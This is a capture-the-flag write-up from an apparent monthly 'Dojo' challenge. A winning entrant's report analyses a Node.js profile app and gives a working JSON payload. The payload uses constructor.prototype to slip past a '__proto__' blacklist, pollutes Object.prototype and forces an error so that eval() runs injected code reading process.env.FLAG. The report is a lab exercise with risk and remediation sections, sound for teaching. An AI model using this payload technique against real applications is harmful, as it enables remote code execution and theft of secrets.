The Dojo challenge, Hacker profile, challenged the participants to exploit a JavaScript prototype pollution to trigger a catch exception handler and execute arbitrary JavaScript code to capture the flag.
💡 Want to create your own monthly Dojo challenge? Send us a message on X!
The winners
Congrats to owne, 7utu_x and sarju18 for the best write-ups 🥳
The swag is on its way! 🎁
Subscribe to our X and/or LinkedIn feeds to be notified of upcoming challenges.
Read on to find out how one of the winners managed to solve the challenge.
OVERALL BEST WRITE-UP
We want to thank everyone who participated and reported to the Dojo challenge. There where a ton of great reports this time. You find the best write-up overall below:
————– START OF sarju18‘s REPORT —————
Description
The application allows a user to build a hacker profile combining the details of a random Profile (if all details of a hacker not provided) and the user input by the hacker. However, the application suffers from the prototype pollution and unsafe code evaluation. The vulnerable code path allows an attacker to modify JavaScript's Object prototype and inject malicious code that is subsequently executed via an eval()
function. This occurs due to the improper validation or sanitization of the user-supplied JSON data. This vulnerability enables unauthorized access to sensitive information, including environment variables, and potential complete system compromise.
Exploitation
We are presented an application that allows a user to build a profile using the JSON input. A thorough code analysis was performed during the initial reconnaissance phase which revealed the underlying tech-stack. The application uses JavaScript, Node JS and EJS templating. Various utility functions are implemented to handle the user input and manage application.
Code Analysis
The first step in analyzing the user input handling is to examine the entry point where the input is processed. In this case, the user input undergoes a transformation by a Web Application Firewall (WAF), which URL-encodes the input to mitigate any malicious payloads.
// Take user profile properties
var profile = decodeURIComponent("<USER_INPUT>")
if ( profile.length == 0 ) {
profile = "{}"
}
profile = JSON.parse(profile)
The input <USER_INPUT>
is first decoded using the decodeURIComponent()
function. This essentially reverses the encoding performed by the WAF, converting URL-encoded characters back to their original form. If the decoded input is empty (i.e., the user does not provide any input), the profile
variable is set to a default value of an empty JSON object ({}
). This ensures that the application always operates on a valid object. The decoded and validated input is then parsed using JSON.parse()
. This step implies that the input is expected to be a valid JSON string.
const defaultUser = getRandomProfile(profiles)
const user = setUserProperties(defaultUser, profile)
In the next step, a random Profile is selected with a getRandomProfile(profiles)
function call which selects a random profile from the profiles
variable as provided in the set up code. The selected random profile is assigned to defaultUser
constant.
function getRandomProfile(profiles) {
return profiles[Math.floor(Math.random() * profiles.length)];
}
The setUserProperties
method then combines the properties of the defaultUser
and the profile
input to create the final user object. It iterates over each key in the profile
input, and if the key exists in both source
and target
, it updates the corresponding value in target
. If a key is missing in the profile
, the value from defaultUser
is used instead. This method enables the user input to override default values, giving the attacker control over the profile's properties.
function setUserProperties(target, source) {
for (let key of Object.keys(source)) {
typeof target[key] !== "undefined" && typeof source[key] === "object" ?
target[key] = setUserProperties(target[key], source[key]) :
target[key] = source[key];
}
return target;
}
The setUserProperties
method iterates over the keys of the user input and merges them with the target object. This raises concerns about potential prototype pollution, where an attacker could inject properties that affect the object’s prototype, potentially altering application behavior in unexpected ways.
Then comes the main block of the application logic. This code block attempts to convert all user properties to strings before rendering the template. It iterates through each property of the user object, handling dates specially by formatting them without the GMT timezone. If any error occurs during this process, the application enters an error handling path where it checks for debugging configuration. When debug mode is active, the application dangerously evaluates arbitrary code specified in appConfig.debug.code
using eval()
, creating a potential execution point for attacker-controlled code. This means if an attacker can cause the catch
block to execute with a crafted payload, he can probably attain Remote code execution. The results are then passed to the template renderer.
try {
Object.keys(user).forEach((key) => {
if (key === "lastViewed") {
user[key] = user[key].toLocaleString().split('GMT')[0]
} else {
user[key] = user[key].toString()
}
})
console.log(ejs.render(fs.readFileSync('index.ejs', "utf-8"), { user, error: undefined, logs: "" }))
} catch (error) {
if (appConfig.debug && appConfig.debug.active === true) {
const logs = eval(`${appConfig.debug.code}`)
console.log(ejs.render(fs.readFileSync('index.ejs', "utf-8"), { user: undefined, error, logs }))
}
else {
console.log(ejs.render(fs.readFileSync('index.ejs', 'utf-8'), { error, user:undefined, logs: undefined }))
}
}
Conclusion From Code Analysis
After the initial analysis and an initial idea of what block of code could be vulnerable, we now proceed with how the application behaves with different inputs. Starting with the normal input with how the application is supposed to behave, it builds the normal hacker profile. The below is a screenshot with all the key-value provided as input.
On providing only the description
(incomplete details), the details get populated with a random profile from the set up code.
The goal was to identify and extract the FLAG
stored in an environment variable. Based on the analysis, the critical point was reaching the catch
block of the application, which contained insecure code execution via the eval
function. This was possible due to improper handling of user input and reliance on dynamic evaluation, where the appConfig.debug.code
could be manipulated to execute arbitrary code.
To trigger the vulnerable path, we identified that prototype pollution was necessary. By manipulating the user input to include a property like toString: null
, we could force an error in the string conversion process, specifically within this block:
try {
Object.keys(user).forEach((key) => {
if (key === "lastViewed") {
user[key] = user[key].toLocaleString().split('GMT')[0]
} else {
user[key] = user[key].toString()
}
})
console.log(ejs.render(fs.readFileSync('index.ejs', "utf-8"), { user, error: undefined, logs: "" }))
} catch (error) {
if (appConfig.debug && appConfig.debug.active === true) {
const logs = eval(`${appConfig.debug.code}`)
console.log(ejs.render(fs.readFileSync('index.ejs', "utf-8"), { user: undefined, error, logs }))
}
else {
console.log(ejs.render(fs.readFileSync('index.ejs', 'utf-8'), { error, user:undefined, logs: undefined }))
}
}
By analyzing the setUserProperties()
function, we observed that it recursively merges the user input with the default user object without proper safeguards. This allowed for unsafe property assignments, including critical keys like "constructor" or "proto," which are crucial for prototype pollution. This vulnerability could enable an attacker to inject properties that influenced the eval function and ultimately expose the FLAG. However on further inspection the WAF blacklist contained the keyword __proto__
meaning it couldn't be used on the payload.
To exploit the vulnerability, a payload was crafted that both causes prototype pollution and triggers an error in the code flow. The crafted payload is as follows:
{
"constructor": {
"prototype": {
"debug": {
"active": true,
"code": "process.env.FLAG"
}
}
},
"x": {
"toString": null
}
}
The "constructor.prototype
" portion of the payload manipulates the global Object.prototype to add a debug property with active: true
and the code process.env.FLAG
. Since appConfig
is a plain JavaScript object, it inherits from Object.prototype
. By polluting the prototype, we can inject a debug
property into appConfig
, which is then accessible as appConfig.debug
. The "x": { "toString": null }
part creates an invalid property where toString
is set to null. This forces an error when the code attempts to call toString()
on it.
Execution Flow
- In the code, the
toString()
method is called on each user property:
try {
Object.keys(user).forEach((key) => {
if (key === "lastViewed") {
user[key] = user[key].toLocaleString().split('GMT')[0]
} else {
user[key] = user[key].toString() //the error occurs here
}
})
console.log(ejs.render(fs.readFileSync('index.ejs', "utf-8"), { user, error: undefined, logs: "" }))
}
Since x.toString
was set to null
in the payload, calling toString()
results in an error.
- This triggers the
catch
block, and the application checks if debugging is active:
if (appConfig.debug && appConfig.debug.active === true)
- Because the
debug
property was injected intoObject.prototype
through prototype pollution,appConfig.debug
is now populated with thedebug
object containing thecode
property. - The
eval(appConfig.debug.code)
is executed, which in this case isprocess.env.FLAG
, retrieving the flag from the environment variable. - This executes the code that exposes the environment variable containing the flag and you've pawned it modal.
PoC
The proof of concept (PoC) involves injecting a JSON payload that causes prototype pollution and triggers an error in the application. The payload sets the toString
method of an object to null
, which causes the error when toString()
is called in the application code. This error activates the catch block, where the insecure eval() function executes the injected code from appConfig.debug.code
. The injected code retrieves the flag from the environment variable using process.env.FLAG
.
The payload used is
{
"constructor": {
"prototype": {
"debug": {
"active": true,
"code": "process.env.FLAG"
}
}
},
"x": {
"toString": null
}
}
The above payload resulted in the FLAG to display the log in the application UI as
The flag as obtained from the UI is
FLAG{$m4ll_m1st4ke_t0_rcE!}
Risk
The vulnerability presents a significant risk as it allows attackers to exploit prototype pollution to manipulate application behavior. By injecting malicious properties into object prototypes, attackers can alter critical application logic and trigger the execution of arbitrary code. The use of the insecure eval()
function further amplifies this risk, as it allows an attacker to execute injected code, potentially leading to the exposure of sensitive information, such as environment variables (e.g., the flag in this case). This type of vulnerability can be used for remote code execution and data leakage, posing a severe threat to the application's security.
Remediation
To remediate this vulnerability, sanitize user inputs to prevent prototype pollution, avoid using eval()
, and use safe alternatives for dynamic code execution. Implement object property filtering to block dangerous keys, and use trusted libraries for deep object merging. Regular security audits will help identify and address such issues early.
————– END OF sarju18‘s REPORT —————